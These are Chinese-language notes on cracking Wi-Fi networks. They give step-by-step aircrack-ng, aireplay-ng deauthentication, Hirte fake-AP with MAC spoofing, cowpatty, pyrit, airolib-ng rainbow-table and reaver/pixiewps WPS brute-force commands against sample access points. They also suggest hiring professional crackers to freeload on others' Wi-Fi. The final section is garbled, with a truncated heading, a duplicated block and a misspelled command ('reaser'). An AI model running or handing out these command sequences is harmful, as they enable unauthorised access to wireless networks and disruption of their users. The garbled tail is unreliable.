无线社工基础

• 一些社会工程学密码生成器（百度）

  Crunch工具

  • /usr/share/crunch/charset.lst
  • crunch 最短长度 最长长度 字符集 选项
  • crunch 8 12 -f /usr/share/crunch/charset.lst ualpha -o /root/pass.txt

• Windows下对附近无线网络进行扫描

  WirelessMon Professional

• 熟悉kismet

• 熟悉airodump-ng

  #网卡进入混杂模式	airmon-ng start wlan0
  airodump-ng mon0
  -w	输出文件
  --ivs	只保存ivs
  -c	信道
  --bssid	
  --essid
  BSSID AP的MAC
  PWR 信号强度
  Beacons	无线AP发的通告 周期发送
  #Data	抓到的数据包
  CH channel
  MB 数字表示最大传输速率（网络标准），e表示802.11e，"."表示短前导码。
  	注：前导码是数据包的一组比特组，用来让接收者同步 并准备接收实际的数据
  ENC 加密方式
  CIPHER	加密算法，WPA-TKIP WPA2-CCMP
  AUTH	认证 MGT PSK OPN开放 pre-shared key
  ESSID	通俗指WiFi名字 <length: 8>这样的表示未广播
  STATION 客户端
  RATE	传输率 比如300M无线路由器
  Lost	最近的10秒内的丢包数 seq tcp
  Frames 来自客户端的数据包
  Probe	主动探测
  

  

  推荐一个论坛：攻城狮论坛

• WEP破解 - aircrack-ng破解WEP机密

WEP破解几乎已经没有了，过时了（被淘汰了）。

很脆弱，很少有人用了。（2016年）

Aircrack-ng工具包：
aircrack-ng 破解
airmon-ng	改变网卡工作模式
airodump-ng	捕获报文
aireplay-ng	提供各种攻击，为airodump-ng创造更多报文
airserv-ng	网卡连接到指定端口 可用来做无限跳板
airolib-ng	彩虹表破解创建数据库文件
airdecap-ng	解包

• 代码简略操作

airmon-ng start wlan0
ifconfig wlan0mon	ifconfig wlan0mon down
airodump-ng wlan0mon
airodump-ng wlan0mon -c 1 --ivs -w /root/Desktop/WEP --bssid 02:BD:18:08:28:66
#
aireplay-ng -3 -b 02:BD:18:08:28:66 -h [客户端MAC] wlan0mon
#某WPA攻击
aireplay-ng -0 5 -a 02:BD:18:08:28:66 -c [客户端STATION] wlan0mon
aircrack-ng /root/WEP-01.ivs

• Gerix-wifi-cracker自动化破解WEP加密

• wifite自动化破解WEP加密

wifite

• 破解WEP新思路 - Hirte

bobao.360.cn/learning/detail/230.html

airodump-ng mon0
macchanger -m 02:BD:18:08:28:66 mon0
airodump-ng stop
ifconfig wlan0 down
macchanger -m 02:BD:18:08:28:66 wlan0
ifconfig wlan0	//启用
ifconfig wlan0 up
airmon-ng start wlan0	//开启监听模式
macchanger -m 02:BD:18:08:28:66 mon0

airbase-ng -c 1 --essid "iSafe_WEP" -W 1 -N mon0
airbase-ng -c 1 --essid "iSafe_WEP" -W 1 -N mon0 --ignore-negative-one

#
airodump-ng -c 1 --ignore-negative-one -w /root/Desktop/wephirte mon0   //抓包
airbase-ng -c 1 --essid "iSafe_WEP" -W 1 -N mon0   //客户端尝试连接

原文链接：https://pentestlab.wordpress.com/2015/02/03/hirte-attack/

• WPA破解 - aircrack-ng 破解WPA加密

airmon-ng start wlan0
airodump-ng mon0
airodump-ng -w /root/Desktop/wpa-1 mon0
#
airodump-ng -w /root/Desktop/wpa-1 -c 1 mon0 --ignore-negative-one

• WPA破解 - 不指定字典情况下破解WPA

  

• WPA破解 - hashcat跑包破解

• WPA破解 - 创建Hash-table加速并用Cowpatty破解

• 代码演示

  cowpatty -f /root/Desktop/isafe -r /root/Desktop/wpa-1-02.cap -s iSafe_Normal
  #生成一个hashtable
  genpmk -f /root/Desktop/1.txt -d /root/Desktop/1-txthash -s iSafe_Normal
  

• WPA破解 - 自动化破解WPA加密

  

  

• 代码演示

  airmon-ng start wlan0
  wifite -dict /root/Desktop/isafe
  

• WPA破解 - Windows下GPU跑包加速

  

  

• WPA破解 - GPU加速_Hash-table加速

  

  

• 代码演示：

pyrit -r /root/Desktop/wpa-1-02.cap analyze		//看一下握手包的情况
pyrit -r /root/Desktop/wpa-1-02.cap -i /root/Desktop/isafe -b 8c:f2:28:14:fa:a8 attack_passthrough

#2
pyrit -r /root/Desktop/wpa-1-02.cap -i /root/Desktop/passwords/iSafe12345.hash -b 8c:f2:28:14:fa:a8 attack_cowpatty

genpmk -f /root/Desktop/isafe -d /root/Desktop/isafe.hash -s iSafe_Normal

• WPA破解 - batch-table加速

  

• 代码演示

pyrit -i /root/Desktop/passwords/iSafe12345_19W.txt import_passwords
pyrit -e iSafe_Normal create_essid
pyrit batch
pyrit -e iSafe_Normal -r /root/Desktop/wpa-1-02.cap attack_batch   //破解
pyrit -e iSafe_Normal -r /root/Desktop/wpa-1-02.cap attack_db

• WPA破解 - 使用airolib-ng创建彩虹表加速

• 代码演示

airolib-ng RAINBOW_2 --import essid /root/Desktop/essid
airolib-ng RAINBOW_2 --import passwd /root/Desktop/isafe
airolib-ng RAINBOW_2 --batch	//PSK->PMK
airolib-ng RAINBOW_2 --export cowpatty iSafe_Normal R_2_table
cowpatty -s iSafe_Normal -d R_2_table -r /root/Desktop/wpa-1-02.cap	//跑包

针对于跑包的几点建议：

1. 如果你是闲的蛋疼，自己慢慢跑 EWSA pyrit
2. 如果你有蹭网的需求，找专业跑包的
3. 如果你有商业化需求，那么你可以使用云 云计算

• WPA破解 - reaver工具穷尽pin码

  

  wash -i mon0 -C		//判断是否打开WPS
  wifite
  

  

reaver -p 12819720 -b 8C:F2:28:14:FA:A8 -i mon0 -a -S
reaver -b 8C:F2:28:14:FA:A8 -i mon0 -a -S -d 0 -t 1 -n -c 1

cd /etc/reaver/
ls

• WPS破解 - Pixiewps秒破WPS_wifite穷举

  

  airmon-ng start wlan0
  reaser -i wlan0mon -c 1 -b 8C:F2:28:14:FA:A8 -K 1
  ls /etc/reaver
  

iewps秒破WPS_wifite穷举

airmon-ng start wlan0
reaser -i wlan0mon -c 1 -b 8C:F2:28:14:FA:A8 -K 1
ls /etc/reaver